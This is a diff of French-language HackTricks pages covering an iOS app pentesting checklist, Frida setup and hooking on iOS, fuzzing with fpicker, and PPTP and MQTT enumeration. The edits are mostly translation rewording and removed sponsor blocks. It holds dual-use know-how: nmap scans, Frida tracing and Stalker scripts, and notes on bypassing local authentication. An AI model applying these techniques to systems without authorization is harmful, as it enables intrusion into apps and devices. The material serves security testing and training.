### Préparation
|
||||||
|
|
||||||
* [ ] Lisez [**les bases de l'iOS**](ios-pentesting/ios-basics.md)
|
* [ ] Lisez [**les bases de l'iOS**](ios-pentesting/ios-basics.md)
|
||||||
|
@ -78,7 +70,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
### **Authentification locale**
|
### **Authentification locale**
|
||||||
|
|
||||||
* [ ] Si une [**authentification locale**](ios-pentesting/#local-authentication) est utilisée dans l'application, vous devez vérifier comment l'authentification fonctionne.
|
* [ ] Si une [**authentification locale**](ios-pentesting/#local-authentication) est utilisée dans l'application, vous devez vérifier comment l'authentification fonctionne.
|
||||||
* [ ] Si elle utilise le [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework), elle pourrait être facilement contournée.
|
* [ ] Si elle utilise le [**Framework d'authentification locale**](ios-pentesting/#local-authentication-framework), elle pourrait être facilement contournée.
|
||||||
* [ ] Si elle utilise une [**fonction qui peut être contournée dynamiquement**](ios-pentesting/#local-authentication-using-keychain), vous pourriez créer un script frida personnalisé.
|
* [ ] Si elle utilise une [**fonction qui peut être contournée dynamiquement**](ios-pentesting/#local-authentication-using-keychain), vous pourriez créer un script frida personnalisé.
|
||||||
|
|
||||||
### Exposition de fonctionnalités sensibles via IPC
|
### Exposition de fonctionnalités sensibles via IPC
|
||||||
|
@ -119,12 +111,6 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
* [ ] Vérifiez les mécanismes de [**patching/mise à jour automatique**](ios-pentesting/#hot-patching-enforced-updateing).
|
* [ ] Vérifiez les mécanismes de [**patching/mise à jour automatique**](ios-pentesting/#hot-patching-enforced-updateing).
|
||||||
* [ ] Vérifiez les [**bibliothèques tierces malveillantes**](ios-pentesting/#third-parties).
|
* [ ] Vérifiez les [**bibliothèques tierces malveillantes**](ios-pentesting/#third-parties).
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -135,7 +121,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Configuration de Frida pour iOS
|
# Configuration de Frida sur iOS
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -8,33 +8,19 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares volants d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Installation de Frida
|
## Installation de Frida
|
||||||
|
|
||||||
**Étapes pour installer Frida sur un appareil jailbreaké :**
|
**Étapes pour installer Frida sur un appareil jailbreaké :**
|
||||||
|
|
||||||
1. Ouvrez l'application Cydia/Sileo.
|
1. Ouvrez l'application Cydia/Sileo.
|
||||||
2. Naviguez vers Gérer -> Sources -> Modifier -> Ajouter.
|
2. Allez dans Gérer -> Sources -> Modifier -> Ajouter.
|
||||||
3. Entrez "https://build.frida.re" comme URL.
|
3. Entrez "https://build.frida.re" comme URL.
|
||||||
4. Allez à la nouvelle source Frida ajoutée.
|
4. Allez à la nouvelle source Frida ajoutée.
|
||||||
5. Installez le paquet Frida.
|
5. Installez le paquet Frida.
|
||||||
|
@ -50,7 +36,7 @@ Consultez cet article de blog sur la façon d'utiliser Frida sur des appareils n
|
||||||
|
|
||||||
## Installation du client Frida
|
## Installation du client Frida
|
||||||
|
|
||||||
Installez les **outils frida** :
|
Installez **frida tools** :
|
||||||
```bash
|
```bash
|
||||||
pip install frida-tools
|
pip install frida-tools
|
||||||
pip install frida
|
pip install frida
|
||||||
|
@ -80,7 +66,7 @@ frida-trace -U -W <if-plugin-bin> -m '*[* *]'
|
||||||
```
|
```
|
||||||
### Obtenez toutes les classes et méthodes
|
### Obtenez toutes les classes et méthodes
|
||||||
|
|
||||||
* Auto complétion : Il suffit d'exécuter `frida -U <program>`
|
* Auto complétion : Exécutez simplement `frida -U <program>`
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1159).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1159).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -172,7 +158,7 @@ console.log("loaded");
|
||||||
|
|
||||||
Vous avez un exemple implémentant Frida Stalker dans [https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py)
|
Vous avez un exemple implémentant Frida Stalker dans [https://github.com/poxyran/misc/blob/master/frida-stalker-example.py](https://github.com/poxyran/misc/blob/master/frida-stalker-example.py)
|
||||||
|
|
||||||
C'est un autre exemple pour attacher Frida Stalker chaque fois qu'une fonction est appelée :
|
Ceci est un autre exemple pour attacher Frida Stalker chaque fois qu'une fonction est appelée :
|
||||||
```javascript
|
```javascript
|
||||||
console.log("loading");
|
console.log("loading");
|
||||||
const wg_log_addr = Module.findExportByName("<Program>", "<function_name>");
|
const wg_log_addr = Module.findExportByName("<Program>", "<function_name>");
|
||||||
|
@ -211,7 +197,7 @@ C'est intéressant pour des raisons de débogage, mais pour le fuzzing, être co
|
||||||
|
|
||||||
## [Fpicker](https://github.com/ttdennis/fpicker)
|
## [Fpicker](https://github.com/ttdennis/fpicker)
|
||||||
|
|
||||||
[**fpicker**](https://github.com/ttdennis/fpicker) est une **suite de fuzzing basée sur Frida** qui offre une variété de modes de fuzzing pour le fuzzing en processus, tels qu'un mode AFL++ ou un mode de traçage passif. Il devrait fonctionner sur toutes les plateformes prises en charge par Frida.
|
[**fpicker**](https://github.com/ttdennis/fpicker) est une **suite de fuzzing basée sur Frida** qui offre une variété de modes de fuzzing pour le fuzzing en processus, comme un mode AFL++ ou un mode de traçage passif. Il devrait fonctionner sur toutes les plateformes prises en charge par Frida.
|
||||||
|
|
||||||
* [**Installer fpicker**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
|
* [**Installer fpicker**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
|
||||||
```bash
|
```bash
|
||||||
|
@ -364,39 +350,28 @@ Vous pouvez vérifier les plantages dans :
|
||||||
iOS ne stocke que 25 plantages de la même application, vous devez donc nettoyer cela ou iOS cessera de créer des plantages.
|
iOS ne stocke que 25 plantages de la même application, vous devez donc nettoyer cela ou iOS cessera de créer des plantages.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Tutoriels Frida Android
|
## Frida Android Tutorials
|
||||||
|
|
||||||
{% content-ref url="../android-app-pentesting/frida-tutorial/" %}
|
{% content-ref url="../android-app-pentesting/frida-tutorial/" %}
|
||||||
[frida-tutorial](../android-app-pentesting/frida-tutorial/)
|
[frida-tutorial](../android-app-pentesting/frida-tutorial/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Références
|
## References
|
||||||
|
|
||||||
* [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
|
* [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares volants d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,27 +15,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
## Informations de base
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
**Point-to-Point Tunneling Protocol (PPTP)** est une méthode largement utilisée pour **l'accès à distance** aux appareils mobiles. Il utilise **le port TCP 1723** pour l'échange de clés, tandis que **le protocole IP 47** (Generic Routing Encapsulation, ou **GRE**), est utilisé pour chiffrer les données transmises entre les pairs. Cette configuration est cruciale pour établir un canal de communication sécurisé sur Internet, garantissant que les données échangées restent confidentielles et protégées contre tout accès non autorisé.
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
**Port par défaut** : 1723
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
## Énumération
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Basic Information
|
|
||||||
|
|
||||||
**Point-to-Point Tunneling Protocol (PPTP)** est une méthode largement utilisée pour l'**accès à distance** aux appareils mobiles. Il utilise le **port TCP 1723** pour l'échange de clés, tandis que le **protocole IP 47** (Generic Routing Encapsulation, ou **GRE**), est utilisé pour chiffrer les données transmises entre les pairs. Cette configuration est cruciale pour établir un canal de communication sécurisé sur Internet, garantissant que les données échangées restent confidentielles et protégées contre tout accès non autorisé.
|
|
||||||
|
|
||||||
**Default Port**:1723
|
|
||||||
|
|
||||||
## Enumeration
|
|
||||||
```bash
|
```bash
|
||||||
nmap –Pn -sSV -p1723 <IP>
|
nmap –Pn -sSV -p1723 <IP>
|
||||||
```
|
```
|
||||||
|
@ -47,16 +34,16 @@ nmap –Pn -sSV -p1723 <IP>
|
||||||
* [https://github.com/moxie0/chapcrack](https://github.com/moxie0/chapcrack)
|
* [https://github.com/moxie0/chapcrack](https://github.com/moxie0/chapcrack)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,30 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à l'adresse suivante :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Basic Information
|
## Basic Information
|
||||||
|
|
||||||
**MQ Telemetry Transport (MQTT)** est connu comme un **protocole de messagerie publish/subscribe** qui se distingue par son extrême simplicité et légèreté. Ce protocole est spécifiquement conçu pour des environnements où les appareils ont des capacités limitées et fonctionnent sur des réseaux caractérisés par une faible bande passante, une forte latence ou des connexions peu fiables. Les objectifs principaux de MQTT incluent la minimisation de l'utilisation de la bande passante réseau et la réduction de la demande sur les ressources des appareils. De plus, il vise à maintenir une communication fiable et à fournir un certain niveau d'assurance de livraison. Ces objectifs rendent MQTT exceptionnellement adapté au domaine en pleine expansion de la **communication machine à machine (M2M)** et de l'**Internet des objets (IoT)**, où il est essentiel de connecter efficacement une multitude d'appareils. De plus, MQTT est très bénéfique pour les applications mobiles, où la conservation de la bande passante et de la durée de vie de la batterie est cruciale.
|
**MQ Telemetry Transport (MQTT)** est connu comme un **protocole de messagerie publish/subscribe** qui se distingue par son extrême simplicité et légèreté. Ce protocole est spécifiquement conçu pour des environnements où les appareils ont des capacités limitées et fonctionnent sur des réseaux caractérisés par une faible bande passante, une latence élevée ou des connexions peu fiables. Les objectifs principaux de MQTT incluent la minimisation de l'utilisation de la bande passante réseau et la réduction de la demande sur les ressources des appareils. De plus, il vise à maintenir une communication fiable et à fournir un certain niveau d'assurance de livraison. Ces objectifs rendent MQTT exceptionnellement adapté au domaine en pleine expansion de la **communication machine à machine (M2M)** et de l'**Internet des objets (IoT)**, où il est essentiel de connecter efficacement une myriade d'appareils. De plus, MQTT est très bénéfique pour les applications mobiles, où la conservation de la bande passante et de la durée de vie de la batterie est cruciale.
|
||||||
|
|
||||||
**Default port:** 1883
|
**Default port:** 1883
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE REASON
|
PORT STATE SERVICE REASON
|
||||||
1883/tcp open mosquitto version 1.4.8 syn-ack
|
1883/tcp open mosquitto version 1.4.8 syn-ack
|
||||||
```
|
```
|
||||||
## Inspecter le trafic
|
## Inspection du trafic
|
||||||
|
|
||||||
Lorsque un paquet **CONNECT** est reçu par les brokers MQTT, un paquet **CONNACK** est renvoyé. Ce paquet contient un code de retour qui est crucial pour comprendre l'état de la connexion. Un code de retour de **0x00** signifie que les identifiants ont été acceptés, signifiant une connexion réussie. D'autre part, un code de retour de **0x05** signale que les identifiants sont invalides, empêchant ainsi la connexion.
|
Lorsque un paquet **CONNECT** est reçu par les brokers MQTT, un paquet **CONNACK** est renvoyé. Ce paquet contient un code de retour qui est crucial pour comprendre l'état de la connexion. Un code de retour de **0x00** signifie que les identifiants ont été acceptés, signifiant une connexion réussie. D'autre part, un code de retour de **0x05** signale que les identifiants sont invalides, empêchant ainsi la connexion.
|
||||||
|
|
||||||
|
@ -141,29 +128,18 @@ Chaque paquet MQTT contient un en-tête fixe (Figure 02). Figure 02 : En-tête f
|
||||||
|
|
||||||
* `port:1883 MQTT`
|
* `port:1883 MQTT`
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,33 +15,20 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### Docker Basics
|
### Docker Basics
|
||||||
|
|
||||||
#### What is
|
#### What is
|
||||||
|
|
||||||
Docker est la **plateforme de pointe** dans l'**industrie de la conteneurisation**, à l'avant-garde de l'**innovation continue**. Il facilite la création et la distribution sans effort d'applications, allant de l'**traditionnel au futuriste**, et assure leur **déploiement sécurisé** dans divers environnements.
|
Docker est la **plateforme de pointe** dans l'**industrie de la conteneurisation**, à l'avant-garde de **l'innovation continue**. Il facilite la création et la distribution sans effort d'applications, allant de **traditionnelles à futuristes**, et assure leur **déploiement sécurisé** dans divers environnements.
|
||||||
|
|
||||||
#### Basic docker architecture
|
#### Basic docker architecture
|
||||||
|
|
||||||
* [**containerd**](http://containerd.io) : C'est un **runtime central** pour les conteneurs, chargé de la **gestion complète du cycle de vie d'un conteneur**. Cela implique la gestion du **transfert et du stockage d'images**, en plus de superviser l'**exécution, la surveillance et le réseau** des conteneurs. **Des informations plus détaillées** sur containerd sont **explorées plus en profondeur**.
|
* [**containerd**](http://containerd.io) : C'est un **runtime central** pour les conteneurs, chargé de la **gestion complète du cycle de vie d'un conteneur**. Cela implique la gestion du **transfert et du stockage d'images**, en plus de superviser l'**exécution, la surveillance et le réseau** des conteneurs. **Des informations plus détaillées** sur containerd sont **explorées plus en profondeur**.
|
||||||
* Le **container-shim** joue un rôle critique en tant qu'**intermédiaire** dans la gestion des **conteneurs sans tête**, prenant en charge **runc** après l'initialisation des conteneurs.
|
